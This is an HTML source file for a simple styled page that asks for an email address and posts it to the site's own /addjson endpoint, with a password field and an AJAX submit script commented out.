250 lines
6.3 KiB
Plaintext
250 lines
6.3 KiB
Plaintext
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Document</title>
|
|
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
|
|
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
|
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
|
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
|
|
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
|
|
</head>
|
|
<style>
|
|
/* Medium Devices, Desktops */
|
|
@media only screen and (min-width : 992px) {
|
|
* {
|
|
box-sizing: border-box;
|
|
}
|
|
body {
|
|
background-color: #435d7d;
|
|
}
|
|
#div_center{
|
|
background-color: #ffffff;
|
|
width: 500px;
|
|
height: 600px;
|
|
margin: 50px auto 10px auto;
|
|
padding: 30px;
|
|
border-radius: 8px;
|
|
overflow: hidden;
|
|
box-shadow: 0 2px 10px -3px #333;
|
|
text-align: center;
|
|
}
|
|
#div_1{
|
|
|
|
display: flex;
|
|
justify-content: center; /* Horizontally center content */
|
|
align-items: center; /* Vertically center content */
|
|
height: 100vh;
|
|
}
|
|
h3{
|
|
/* font-family: Google Sans,Noto Sans Myanmar UI,arial,sans-serif; */
|
|
font-size: 26px;
|
|
/* margin-top: 70px; */
|
|
}
|
|
label{
|
|
display: flex;
|
|
padding-left: 40px;
|
|
padding-top: 10px;
|
|
|
|
}
|
|
input{
|
|
/* background-color: #999; */
|
|
border-style: solid;
|
|
border-radius: 2px;
|
|
}
|
|
/* Basic styles for the input container */
|
|
.input-container {
|
|
position: relative;
|
|
margin: 20px;
|
|
}
|
|
|
|
/* Style the input field */
|
|
.input-container input {
|
|
width: 90%;
|
|
padding: 10px;
|
|
border: none;
|
|
/* border-bottom: 2px solid #2196F3; */
|
|
outline: none;
|
|
font-size: 16px;
|
|
border-style: solid;
|
|
border-width: 1px;
|
|
border-color: lightgrey;
|
|
}
|
|
|
|
/* Style the label (initially hidden) */
|
|
.input-container label {
|
|
position: absolute;
|
|
top: 0;
|
|
left: 0;
|
|
pointer-events: none;
|
|
transition: 0.2s ease all;
|
|
font-size: 16px;
|
|
color: #999; /* Color for the label */
|
|
}
|
|
|
|
/* Move the label up when input is focused */
|
|
.input-container input:focus + label,
|
|
.input-container input:valid + label {
|
|
top: -20px;
|
|
font-size: 12px;
|
|
color: black;
|
|
/* color: #2196F3; */
|
|
}
|
|
#submitBtn{
|
|
font-size: 20px;
|
|
background-color:#1a71eb;
|
|
border-color: #1a71eb;
|
|
font-family: Google Sans,Noto Sans Myanmar UI,arial,sans-serif;
|
|
font-size: 14px;
|
|
width: 80px;
|
|
height: 30px;
|
|
color: #eeeeee;
|
|
margin-top: 20px;
|
|
}
|
|
img{
|
|
display: block;
|
|
width: 200px;
|
|
margin: 30px auto;
|
|
/* box-shadow: 0 5px 10px -7px #333333; */
|
|
border-radius: 50%;
|
|
}
|
|
}
|
|
/* Smartphones (portrait and landscape) ----------- */
|
|
@media only screen and (max-width : 992px){
|
|
body {
|
|
background-color: #eeeeee;
|
|
}
|
|
#div_center{
|
|
background-color: #ffffff;
|
|
width: 500px;
|
|
height: 600px;
|
|
margin: 50px auto 10px auto;
|
|
padding: 30px;
|
|
border-radius: 8px;
|
|
overflow: hidden;
|
|
box-shadow: 0 2px 10px -3px #333;
|
|
text-align: center;
|
|
}
|
|
#div_1{
|
|
|
|
display: flex;
|
|
justify-content: center; /* Horizontally center content */
|
|
align-items: center; /* Vertically center content */
|
|
height: 100vh;
|
|
}
|
|
h3{
|
|
font-family: Google Sans,Noto Sans Myanmar UI,arial,sans-serif;
|
|
font-size: 24px;
|
|
|
|
}
|
|
label{
|
|
display: flex;
|
|
padding-left: 40px;
|
|
padding-top: 10px;
|
|
}
|
|
input{
|
|
/* background-color: #999; */
|
|
border-style: solid;
|
|
border-radius: 2px;
|
|
}
|
|
/* Basic styles for the input container */
|
|
.input-container {
|
|
position: relative;
|
|
margin: 20px;
|
|
}
|
|
|
|
/* Style the input field */
|
|
.input-container input {
|
|
width: 90%;
|
|
padding: 10px;
|
|
border: none;
|
|
/* border-bottom: 2px solid #2196F3; */
|
|
outline: none;
|
|
font-size: 16px;
|
|
border-style: solid;
|
|
border-width: 1px;
|
|
border-color: lightgrey;
|
|
}
|
|
|
|
/* Style the label (initially hidden) */
|
|
.input-container label {
|
|
position: absolute;
|
|
top: 0;
|
|
left: 0;
|
|
pointer-events: none;
|
|
transition: 0.2s ease all;
|
|
font-size: 16px;
|
|
color: #999; /* Color for the label */
|
|
}
|
|
|
|
/* Move the label up when input is focused */
|
|
.input-container input:focus + label,
|
|
.input-container input:valid + label {
|
|
top: -20px;
|
|
font-size: 12px;
|
|
color: black;
|
|
/* color: #2196F3; */
|
|
}
|
|
#submitBtn{
|
|
font-size: 20px;
|
|
background-color:#1a71eb;
|
|
border-color: #1a71eb;
|
|
font-family: Google Sans,Noto Sans Myanmar UI,arial,sans-serif;
|
|
font-size: 14px;
|
|
width: 80px;
|
|
height: 30px;
|
|
color: #eeeeee;
|
|
}
|
|
img{
|
|
display: block;
|
|
width: 200px;
|
|
margin: 30px auto;
|
|
/* box-shadow: 0 5px 10px -7px #333333; */
|
|
border-radius: 50%;
|
|
}
|
|
}
|
|
</style>
|
|
<body>
|
|
<div id="div_1">
|
|
<div id="div_center">
|
|
<img src="https://play-lh.googleusercontent.com/1-hPxafOxdYpYZEOKzNIkSP43HXCNftVJVttoo4ucl7rsMASXW3Xr6GlXURCubE1tA=w3840-h2160-rw" alt="image not there">
|
|
<h3>Welcome back! Please Add Email</h3><br><br>
|
|
<form action="/addjson" method="post">
|
|
<div class="input-container">
|
|
<input type="email" id="first-name" name="email" required>
|
|
<label for="first-name">Email</label>
|
|
</div><br><br><br>
|
|
<!-- <div class="input-container">
|
|
<input type="password" id="first-name" name="password" required>
|
|
<label for="first-name">Password</label>
|
|
</div><br><br> -->
|
|
<button id="submitBtn">Submit</button>
|
|
</form>
|
|
|
|
</div>
|
|
|
|
<!-- <script>
|
|
const submitButton = document.getElementById("submitBtn");
|
|
submitButton.addEventListener("click", function () {
|
|
const emailValue = document.getElementById("emaill").value;
|
|
$.ajax({
|
|
type: "POST",
|
|
url: "/api/addjson", // Change to the correct URL of your server-side script
|
|
data: { email: emailValue },
|
|
success: function (response) {
|
|
// Handle the response from the server
|
|
alert(response);
|
|
window.location.href = "/api/loginPage";
|
|
},
|
|
error: function (error) {
|
|
// Handle any errors that occur during the AJAX request
|
|
console.error("Error:", error);
|
|
}
|
|
});
|
|
});
|
|
</script> -->
|
|
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
|
|
|
</body>
|
|
</html> |